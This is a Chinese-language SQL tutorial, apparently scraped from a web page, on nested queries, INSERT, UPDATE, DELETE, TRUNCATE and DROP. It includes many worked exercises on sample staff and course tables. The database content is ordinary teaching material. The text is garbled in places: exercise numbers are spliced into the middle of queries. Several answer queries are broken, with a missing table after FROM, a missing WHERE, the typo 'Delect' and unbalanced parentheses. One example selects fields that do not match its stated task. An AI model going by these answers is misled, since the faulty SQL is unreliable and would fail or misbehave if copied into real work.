嵌套查询一般按照由里向外的方法处理,即先处理最内层的子查询,然后处理一层一层的向上处理,直到最外层查询块。
在某些嵌套查询中where之后还可以使用any和all两个关键字。Any表示子查询结果中的某个值,而all表示子查询结果中的所有值。这两个关键字可以和算术运算符在一
起构成各种查询条件,如>all表示大于子查询中的所有值。
例如:查询所授两门以上科目的人员基本信息。
SELECT * from rsda where 工号=any(select 工号 from kcm group by 工号 having count(工号)>=2)练习:显示表中应发工资最高的人员信息
十一、插入函数
Insert语句用于向数据库表或者视图中加入一行数据。
例如:向表rsda中插入一行数据,只包含工号,姓名,婚否。insert into rsda(工号,姓名,婚否)values(“12039”,“王五”,“-1”)例如:向rsda表中插入一行数据,所有字段都要给出相应的值。
insert into rsda
values(“13”,“12049”,“赵六”,“男”,“1999-12-12”,“-1”,“学生处”,“2000”,“850”,“60”,“2790”,“")
例如:向表rsda中插入一批数据,数据来源于另外一个已有的数据表rsda1.Insert into rsda(工号,姓名,性别,出生年月)select工号,姓名,性别,出生年月from rsda1;如果所追加的表不存在请用下面的格式:
Select+所要添加的项目+into+新表名+from+需要查询的表名+where+条件
例如:要求将所有男性职工的记录追加到名为“追加表”的表中,只需要其中的4个字段:姓名、性别、工资、补贴。
SELECT 工号,姓名,性别,部门 into 追加表 from rsda where 性别=”男“
十二、更新数据
Update语句用于修改数据库表中特定记录或者字段的数据。
例如:修改刘龙强的工号为11027,出生年月为1978年1月3日。update rsda set 工号=”11027“,出生年月=”1978-1-3“ where 姓名=”刘龙强“ 练习:更新工号为12009的员工教师课程为“数据库” 例如:更新表rsda中所有人员为已婚。update rsda set 婚否=-1;
十三、delete语句
Delete语句用于删除数据库表中的数据。
例如:删除表中张三的所有信息。delete from rsda where 姓名=”张三" 当不指定条件时,将删除表中的所有行数据。要清除表中的所有数据,只留下数据表的定义还可以使用truncate语句。与delete语句相比,通常truncate执行速度快,因为它是不记录日志的删除表中全部数据的操作。
如:delete from rsda
Truncate table rsda Truncate table 表名 速度快,而且效率高,因为:
TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同:二者均删除表中的全部行。但 TRUNCATE TABLE 比 DELETE 速度快,且使用的系统和事务日志资源少。
DELETE 语句每次删除一行,并在事务日志中为所删除的每行记录一项。TRUNCATE TABLE 通过释放存储表数据所用的数据页来删除数据,并且只在事务日志中记录页的释放。
TRUNCATE TABLE 删除表中的所有行,但表结构及其列、约束、索引等保持不变。新行标识所用的计数值重置为该列的种子。如果想保留标识计数值,请改用 DELETE。如果要删除表定义及其数据,请使用 DROP TABLE 语句。
DROP TABLE table_name 表示删除表的全部信息。
表所有者可以除去任何数据库内的表。除去表时,表上的规则或默认值将解除绑定,任何与表关联的约束或触发器将自动除去。如果重新创建表,必须重新绑定适当的规则和默认值,重新创建任何触发器并添加必要的约束。如果删除表内的所有行(DELETE tablename)或使用 TRUNCATE TABLE 语句,则表将一直存在到被除去。
课后练习:
1.要求:列出rsda数据表中部门为“教务处”的女性职工的工号,姓名,性别和部门。Select 工号,姓名,性别,部门 from rsda where(部门=”教务处”)and(性别=”女”)2.显示基本工资的最小值和最大值,并将结果分别赋给变量minjbgz、maxjbgz。Select min(基本工资)as minjbgz,max(基本工资)as maxjbgz from rsda 显示“基础部”每位老师所讲授的所有课程名。Select 姓名,课程名 from rsda,kcm where(rsda.工号=kcm.工号)and(部门=”基础部”)显示所有姓张的人员信息。Select * from rsda where 姓名 like “张*” 物理删除rsda数据表中部门为“基础部”的所有男性职工的记录。Delete from rsda where(部门=”基础部”)and(性别=”男”)统计每位教师讲授的课程数目。SELECT 姓名,count(课程名)as 课程数目 from rsda,kcm where rsda.工号=kcm.工号 group by 姓名
列出rsda数据表中部门为“总务处”和“学生处”的所有男性职工的信息。Select * from rsda where(部门 in(“总务处”,”学生处”))and(性别=”男”)按照“出生年月”升序形式显示所有人员的信息。Select * from rsda order by 出生年月
计算补贴的平均值、公积金的平均值,并将结果分别赋给变量rjbt、rjgjj。Select avg(补贴)as rjbt,avg(公积金)as rjgjj from rsda
10.11.显示讲课教师中年龄最大的教师的姓名和性别。Select 姓名,性别 from rsda,kcm where 出生年月=any(select max(出生年月)from rsda)列出rsda数据表中部门为“基础部”的男性职工的工号,姓名,性别和部门。Select 工号,姓名,性别,部门 from rsda where(部门=”基础部”)and(性别=”男”)按照“基本工资”降序形式显示所有人员的信息。Select * from rsda order by 基本工资 desc 13.14.统计男教工中基本工资超过1000元的人数,并将结果赋给变量num。select count(基本工资)as num from where(基本工资>1000)and(性别=”男”)统计讲授“计算机文化基础实验”课程的教师中“补贴”一项的最高值,并将结果赋给变量A57(或者新字段A57)。Select max(补贴)as A57 from 3.4.5.6.7.8.9.12.rsda,kcm where(rsda.工号=kcm.工号)and(课程名=”计算机文化基础实验”).15.要求:显示所有本年度已经过完生日(不含当日)的人员信息。Select * from rsda where(month(date())>month(出生年月))or((month(date())=month(出生年月))and(day(date())>day(出生年月)))要求:为部门是“总务处”的职工每人增加15%的补贴(补贴=补贴*1.15)。update rsda set 补贴=补贴*1.15 where 部门=”总务处” 计算部门为“基础部”、补贴不足300元的人员的基本工资的平均值。Select avg(基本工资)from rsda where(部门=”基础部”)and(补贴<300)计算并替换每一条记录中的“补贴”字段(补贴=基本工资*0.05)。update rsda set 补贴=基本工资*0.05 19.显示应发工资的最小值和最大值,并将结果分别赋给变量minyfgz、maxyfgz。Select min(应发工资)as minyfgz,max(应发工资)as maxyfgz from 20.21.rsda 按照“公积金”升序形式显示所有人员的信息。Select * from rsda order by 公积金
统计30岁(不含30岁)以上的老师各自讲授的课程数目。SELECT 姓名,COUNT(课程名)as 课程数目 FROM kcm INNER JOIN rsda ON Kcm.工号 = Rsda.工号 WHERE(year(date())-year(出生年月))>= 30 GROUP BY 姓名
或者SELECT 姓名,COUNT(课程名)as 课程数目 FROM rsda, kcm
where((year(date())-year(出生年月))>= 30)and(Kcm.工号 = Rsda.工号)GROUP BY 姓名
16.17.18.第三讲 SQL语句的格式总结
一、Select语句
SELECT+需要查询的对象+FROM+表名+WHERE+条件。
Select语句中的参数:
1.Top 显示结果的前几条记录
select+Top+数字+from+表名+WHERE+条件。
显示结果的前百分之几的记录
select+Top+数字+percent+from+表名+WHERE+条件。
2.Distinct 在显示的结果中去掉重复值
3.As 给相应的列名赋予一个新的名字,或者给相应的字段创建一个新名字。
select+原列名+as+新列名+from+表名+WHERE+条件。
函数计算的结果+as+新名称(如:max(基本工资)as 最大工资)
4.函数的使用
1)Now()返回当前的系统时间,包含年、月、日、时、分、秒 2)Date()返回当前系统日期,包含年、月、日 3)Abs(参数)取数值的绝对值
4)Left(列名+,+数字)从左侧截取相应长度的字符串(如:left
(工号,2)=11(工号 like “11*”)
显示工号的前两位字符)
5)right(列名+,+数字)从右侧截取相应长度的字符串(如:right(工号,2)
显示工号的后两位字符)
6)len(列名)返回满足条件的列中字符串的长度(如:len(工号))显示工号有几个字符组成
7)day(日期)返回日期中的天(如:day(date())显示当前系统的日)
8)month(日期)返回日期中的月(如:month(date())显示当前系统的月)
9)year(日期)返回日期中的年(如:year(出身年月)显示出生的年份)
10)sum(列名)对列中满足条件的记录进行求和(如:sum(基本工资)统计满足条件的基本工资的总和)
11)avg(列名)对列中满足条件的记录求平均值(如:avg(应发工资)统计满足条件的应发工资的平均值)
12)count(列名)统计个数(如count(课程名)统计满足条件的课程数目)有时候要和group by 及having 一起使用。
13)Max(参数)求满足条件的最大值(如:max(应发工资)显示应发工资的最大值)
14)Min(参数)求满足条件的最小值(如:min(应发工资)显示应发工资的最大值)
5.Into 把数据追加到一个表中,如果没有相应的表,系统会自动创建一个满足条件的表。
在多表之间查询的时候一定要在表中有共同列名的前面加上”表名+.”。格式为“表名”+“.”+“列名”。如果表中独有的列,前面可以不加表名。隐含的条件是必须共同列中的数据相同(如:rsda.工号=kcm.工号)。
在条件中不能直接使用函数。(如:where 基本工资>=max(基本工资))
在条件语句中需要判断多个条件时必须使用逻辑表达式(如:()and())
6.Between关键字
满足条件的某区间的内容
Between+数值1+and+数值2 7.In关键字
使用in关键字可以确定给定的值是否与子查询或列表中的值相匹配。
列名+in+(参数1,参数2…..)
8.Like关键字
使用like关键字可以确定给定的字符串是否与指定的模式匹配。
列名+like+”参数”
如:工号 like “12*”
9.Group by
对查询的列表中对相应主键(列)进行分组。在group by语句中在选择列表内定义的列的别名不能用于指定分组列,此外,select后面的每一列数据除了出现在统计函数中的列外,都必须在group by子句中应用。Group +by+列名
SELECT 姓名,count(课程名)as 人数 from rsda,kcm where rsda.工号=kcm.工号
group by 姓名
10.Having having语句为分组或集合指定搜索条件,通常与group by语句一起使用
SELECT 部门,count(部门)as 部门人数 from rsda group by 部门 having count(部门)>=2
11.Order by order by语句用于指定对查询最终结果进行排序。DESC表示按递减顺序排列,ASC表示按递增顺序排列。
SELECT * from rsda where 基本工资=1000 order by 工号 desc;
二、Insert
Insert语句用于向数据库已有表中追加一行或者多行。Insert+into+表名+(列名1,列名2,列名3…„)+values+(“数据1”,”数据2”,”数据3”…„)Insert+into+表名+values+(所有字段的相应值)Insert+into+表名+(列名1,列名2,列名3…„)+select+列名1,列名2,列名3…..+from+表名+where+条件
如果所追加的表不存在,请用下面的格式:
Select+所要添加的项目+into+新表名+from+需要查询的表名+where+条件
三、Update Update语句用于修改数据库表中特定记录或者字段的数据.Update+表名+set+(列名=”数据”, 列名=”数据”……)+where+条件
四、Delete
Delete+from+表名+where+条件
五、Drop 删除表 Drop+ table+表名
课后习题:
1.要求:显示公积金的最小值和最大值,并将结果分别赋给变量mingjj、maxgjj。Select min(公积金)as mingjj,max(公积金)as maxgjj from rsda 2.要求:显示女教师讲授的所有课程名。Select 姓名,课程名 from rsda,kcm where(rsda.工号=kcm.工号)and(性别=”女”)3.要求:彻底删除kcm数据表中工号为12006的人员。Delect from kcm where 工号=”12006”
4.要求:统计讲授“程序设计”课程的老师的基本工资的平均值,并将结果赋给变量A54(或者新字段A54)。Select avg(基本工资)as A54 from rsda,kcm where(rsda.工号=kcm.工号)and(课程名=”程序设计”)5.要求:计算教务处人员的基本工资的平均值和最大值。Select avg(基本工资)as平均值,max(基本工资)as 最大值 where 部门=”教务处”
6.要求:显示30岁(含30岁)以下的人员的所有信息。Select * from rsda where(year(date())-year(出生年月))<30 7.要求:按照“公积金”降序形式显示所有人员的信息。Select * from rsda order by 公积金 desc 8.要求:显示讲授“英语写作”课程的每位老师的姓名、年龄。Select 姓名,(year(date())-year(出生年月))as 年龄 from rsda,kcm where(rsda.工号=kcm.工号)and(课程名=”英语写作”)9.要求:统计每位男老师各自讲授的课程数目。Select 姓名,count(*)as 课程数目from rsda,kcm where(rsda.工号=kcm.工号)and性别=”男”)group by 姓名
10.要求:物理删除rsda数据表中部门为“教务处”的所有女性职工的记录。Delete from rsda
where(部门=”教务处”)and(性别=”女”)11.要求:按照“应发工资”升序形式显示所有人员的信息。Select * from rsda order by 应发工资 asc 12.要求:列出rsda数据表中应发工资大于1500元的男性职工的工号、姓名、性别、部门和应发工资。Select 工号,姓名,性别,部门,应发工资 from rsda(应发工资>1500)and(性别=”男”)13.要求:按照rsda数据表中“部门”升序生成一个名为“人事表1”的新表,其中包含4个字段:工号、姓名、性别和部门。Select 工号,姓名,性别,部门 into 人事表1 from rsda order by 部门 asc 14.要求:显示讲课教师中年龄最小的教师的姓名和性别。select 姓名,性别 from rsda where(Year([出生年月]))=any(SELECT Max(Year(出生年月))FROM rsda, kcm where rsda.工号 = kcm.工号)and((month([出生年月]))=any(SELECT max(month(出生年月))FROM rsda, kcm where rsda.工号 = kcm.工号))and((day([出生年月]))=any(SELECT max(day(出生年月))FROM rsda , kcm where rsda.工号 = kcm.工号))15.要求:物理删除rsda数据表中1985年以前(不含1985年)出生的部门为“教务处”的职工记录。Delete from rsda where(year(出生年月)<1985)and(部门=”教务处”)16.要求:统计“张运生”讲授的课程门数,并将结果赋给变量A57(或者新字段A57)。Select count(课程名)as A57 from rsda,kcm where(rsda.工号=kcm.工号)and(姓名=”张运生”)17.要求:按照“出生年月”降序形式显示所有人员的信息。Select * from rsda order by 出生年月 desc 18.要求:统计讲授“英语写作”课程的老师的应发工资的平均值,并将结果赋给变量A56(或者新字段A56)。Select avg(应发工资)as A56 from rsda,kcm where(rsda.工号=kcm.工号)and(课程名=”英语写作”)19.要求:统计rsda数据表中女性职工中补贴一项的最低值,并将结果赋给变量A58(或者新字段A58)。Select min(补贴)as A58 from rsda where 性别=”女” 20.要求将所有男性职工的记录追加到名为“追加表”的表中,只需要其中的4个字段:姓名、性别、工资、补贴。Select 姓名,性别,工资,补贴 into 追加表 from rsda where 性别=”男”
【经典常用sql语句】推荐阅读:
常用厅堂经典对联07-04
常用经典微语录01-27
励志学习的常用经典名言06-27
常用的经典学术会议通知02-12
公益广告常用语 常用词 经典广告语 宣传标语 口号12-31
经典常用交通事故民事起诉状07-16
3.12经典植树节常用祝福短信07-13
演讲常用语句07-25
常用自我介绍语句09-25
lol常用语句12-11